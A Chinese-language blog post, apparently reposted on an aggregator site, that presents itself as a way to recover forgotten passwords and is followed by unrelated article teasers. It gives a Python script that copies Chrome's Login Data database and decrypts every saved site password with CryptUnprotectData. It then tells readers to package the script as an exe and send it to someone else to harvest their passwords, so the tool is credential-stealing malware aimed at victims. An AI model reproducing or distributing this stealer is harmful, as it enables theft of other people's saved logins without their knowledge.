當你忘記網站上的密碼時怎麼辦?Python如何快速幫你找回?

来源:https://www.cnblogs.com/hhh188764/archive/2020/07/01/13221202.html
-Advertisement-
Play Games

前言 本文的文字及圖片來源於網路,僅供學習、交流使用,不具有任何商業用途,版權歸原作者所有,如有問題請及時聯繫我們以作處理。 現如今瀏覽器可謂是五花八門,火狐、UC、360、QQ 這些瀏覽器不論美觀還是所謂的安全方面都做的很符合我們需求。但如果你的工作與 IT 掛鉤,無疑 Chrome 將是很多朋友 ...


前言

本文的文字及圖片來源於網路,僅供學習、交流使用,不具有任何商業用途,版權歸原作者所有,如有問題請及時聯繫我們以作處理。

現如今瀏覽器可謂是五花八門,火狐、UC、360、QQ 這些瀏覽器不論美觀還是所謂的安全方面都做的很符合我們需求。但如果你的工作與 IT 掛鉤,無疑 Chrome 將是很多朋友的首選。當然這篇文章並不是要介紹 Chrome 瀏覽器的使用,首先我要講的是 Chrome 瀏覽器的密碼存儲機制。

當你忘記網站上的密碼時怎麼辦?Python如何快速幫你找回?

 

1.查看 Chrome 存儲的密碼表單

點擊 Chrome 瀏覽器右上角,進入設置->高級->管理密碼(根據瀏覽器版本不同,可能存在部分差異),亦或者在 Chrome 瀏覽器中輸入 **chrome://settings/passwords** 你會看到很多已保存過的密碼表單信息,當然如果你要查看密碼詳情,就要輸入電腦的系統管理員密碼,看到這裡是不是覺得很簡單?但如果我們能像電影里的黑客一樣瞬間拿到其他電腦的密碼豈不是更有趣?

當你忘記網站上的密碼時怎麼辦?Python如何快速幫你找回?

 

2 . SQLite 在哪,又該怎麼查詢?

那麼, Chrome 的密碼是以什麼方式進行存儲的呢?答案就是用 “SQLite” 。首先,進入我的電腦,地址欄中輸入以下代碼,進入 app 的數據存儲路徑:

C:\Users\Administrator\AppData\Local

 

之後進入 chrome 瀏覽器的密碼資料庫統一地址為:

Google\Chrome\User Data\Default\Login Data

 

3.查看 Chrome 瀏覽器存儲的密碼

拿到了 SQLite 資料庫文件,我們隨便找個 sqlite 工具,就能打開這個資料庫了!

當你忘記網站上的密碼時怎麼辦?Python如何快速幫你找回?

 

打開資料庫,我們看到有三張表:logins 、meta、 stats,其中 logins 中就存儲著你保存的網址、用戶名、密碼數據,分別是: signon_realm,username_value,password_value,但問題來了 password_value 的欄位看著是空的,因為那裡被加密了。

CryptUnprotectData 數據可以在 win32crypt 中找到,要使用該模塊,需要以下代碼進行安裝:

pip install pywin32

 

4.準備工作做好後,就開始代碼環節吧~

import os
import shutil
import sqlite3
import win32crypt

db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')

tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
print(tmp_file)
if os.path.exists(tmp_file):
   os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)

conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):
    ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0)
    print('網站:%-50s,用戶名:%-20s,密碼:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))

conn.close()
os.remove(tmp_file)

 

通過解密,我們獲取到了 Chrome 瀏覽器保存的用戶名密碼,然後保存至文本。

當你忘記網站上的密碼時怎麼辦?Python如何快速幫你找回?

 

之後我們只需要使用 **pyinstaller -F xxx.py** ,將代碼打包成 exe 發給對方,就可以在他的電腦上獲取密碼了!雖然這個偽黑客很簡單甚至有些雞肋,但往往在一些事情上就是因為自身的大意而導致數據的泄露,在這裡也要加強自身保密意識!Chrome 瀏覽器保存密碼雖然很爽,但記在腦子裡還是最安全喲


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 在學習C語言的時候,我們常常會碰到C語言NULL值和數字 0 ,很多小伙伴搞不清楚他們之間的一個區別,今天我們就瞭解一下他們之間的區別,一起來看看吧! 先看下麵一段代碼輸出什麼: 輸出<null> ,單步調試可以看出執行int *p=NULL,p的值為0x00000000,可以看出,NULL在實際底 ...
  • springboot 1:自動配置原理 出發: @SpringBootApplication註解:是springboot的核心註解 進入可以得到 可以看到:其具有以下兩個註解 @SpringBootConfiguration //表示這是springboot的一個參數 @EnableAutoConf ...
  • 可視化新建項目 打開可視化面板 vue ui 創建項目 可以保存為預設,下次使用此預設時就不需要再次配置了 創建完成後我們可以看到他的文件結構 vue3初體驗 入口文件在public中,不在根目錄 配置全局變數 根目錄新建vue.config.js // Vue.config.js 配置選項 mod ...
  • 命令行輸入vue ui沒反應 輸入vue -h 查看幫助文檔,看是否有 ui這個使用說明,發現沒有,那就應該是版本太低了 升級腳手架 cnpm i -g @vue/cli 接下來再測試 vue -h 接下來再使用vue ui 看是否能成功打開 vue ui ok 成功打開 本文由博客一文多發平臺 O ...
  • # import requests,re,json# # 定義一個函數用來請求噹噹網的網頁信息# def request_dangdang(url):# try:# # 使用get請求# response = requests.get(url)# # 判斷返回的狀態碼是否為200# if respo ...
  • Redis限流的實現方式有3種,分別是:1、基於Redis的setnx的操作,給指定的key設置了過期實踐;2、基於Redis的數據結構zset,將請求打造成一個zset數組;3、基於Redis的令牌桶演算法,輸出速率大於輸入速率,就要限流。 第一種:基於Redis的setnx的操作 我們在使用Red ...
  • 本篇主要是根據AnalyticDB的論文,來討論AnalyticDB出現的背景,各個模塊的設計,一些特性的解析。可能還會在一些點上還會穿插一些與當前業界開源實現的比對,希望能夠有一個更加深入的探討。OK,那我們開始吧。 AnalyticDB介紹與背景 要說AnalyticDB,那起碼得知道它是乾什麼 ...
  • 前言 日常的開發中,無不都是使用資料庫來進行數據的存儲,由於一般的系統任務中通常不會存在高併發的情況,所以這樣看起來並沒有什麼問題。 一旦涉及大數據量的需求,如一些商品搶購的情景,或者主頁訪問量瞬間較大的時候,單一使用資料庫來保存數據的系統會因為面向磁碟,磁碟讀/寫速度問題有嚴重的性能弊端,詳細的磁 ...
一周排行
    -Advertisement-
    Play Games
  • 概述:在C#中,++i和i++都是自增運算符,其中++i先增加值再返回,而i++先返回值再增加。應用場景根據需求選擇,首碼適合先增後用,尾碼適合先用後增。詳細示例提供清晰的代碼演示這兩者的操作時機和實際應用。 在C#中,++i 和 i++ 都是自增運算符,但它們在操作上有細微的差異,主要體現在操作的 ...
  • 上次發佈了:Taurus.MVC 性能壓力測試(ap 壓測 和 linux 下wrk 壓測):.NET Core 版本,今天計劃準備壓測一下 .NET 版本,來測試並記錄一下 Taurus.MVC 框架在 .NET 版本的性能,以便後續持續優化改進。 為了方便對比,本文章的電腦環境和測試思路,儘量和... ...
  • .NET WebAPI作為一種構建RESTful服務的強大工具,為開發者提供了便捷的方式來定義、處理HTTP請求並返迴響應。在設計API介面時,正確地接收和解析客戶端發送的數據至關重要。.NET WebAPI提供了一系列特性,如[FromRoute]、[FromQuery]和[FromBody],用 ...
  • 原因:我之所以想做這個項目,是因為在之前查找關於C#/WPF相關資料時,我發現講解圖像濾鏡的資源非常稀缺。此外,我註意到許多現有的開源庫主要基於CPU進行圖像渲染。這種方式在處理大量圖像時,會導致CPU的渲染負擔過重。因此,我將在下文中介紹如何通過GPU渲染來有效實現圖像的各種濾鏡效果。 生成的效果 ...
  • 引言 上一章我們介紹了在xUnit單元測試中用xUnit.DependencyInject來使用依賴註入,上一章我們的Sample.Repository倉儲層有一個批量註入的介面沒有做單元測試,今天用這個示例來演示一下如何用Bogus創建模擬數據 ,和 EFCore 的種子數據生成 Bogus 的優 ...
  • 一、前言 在自己的項目中,涉及到實時心率曲線的繪製,項目上的曲線繪製,一般很難找到能直接用的第三方庫,而且有些還是定製化的功能,所以還是自己繪製比較方便。很多人一聽到自己畫就害怕,感覺很難,今天就分享一個完整的實時心率數據繪製心率曲線圖的例子;之前的博客也分享給DrawingVisual繪製曲線的方 ...
  • 如果你在自定義的 Main 方法中直接使用 App 類並啟動應用程式,但發現 App.xaml 中定義的資源沒有被正確載入,那麼問題可能在於如何正確配置 App.xaml 與你的 App 類的交互。 確保 App.xaml 文件中的 x:Class 屬性正確指向你的 App 類。這樣,當你創建 Ap ...
  • 一:背景 1. 講故事 上個月有個朋友在微信上找到我,說他們的軟體在客戶那邊隔幾天就要崩潰一次,一直都沒有找到原因,讓我幫忙看下怎麼回事,確實工控類的軟體環境複雜難搞,朋友手上有一個崩潰的dump,剛好丟給我來分析一下。 二:WinDbg分析 1. 程式為什麼會崩潰 windbg 有一個厲害之處在於 ...
  • 前言 .NET生態中有許多依賴註入容器。在大多數情況下,微軟提供的內置容器在易用性和性能方面都非常優秀。外加ASP.NET Core預設使用內置容器,使用很方便。 但是筆者在使用中一直有一個頭疼的問題:服務工廠無法提供請求的服務類型相關的信息。這在一般情況下並沒有影響,但是內置容器支持註冊開放泛型服 ...
  • 一、前言 在項目開發過程中,DataGrid是經常使用到的一個數據展示控制項,而通常表格的最後一列是作為操作列存在,比如會有編輯、刪除等功能按鈕。但WPF的原始DataGrid中,預設只支持固定左側列,這跟大家習慣性操作列放最後不符,今天就來介紹一種簡單的方式實現固定右側列。(這裡的實現方式參考的大佬 ...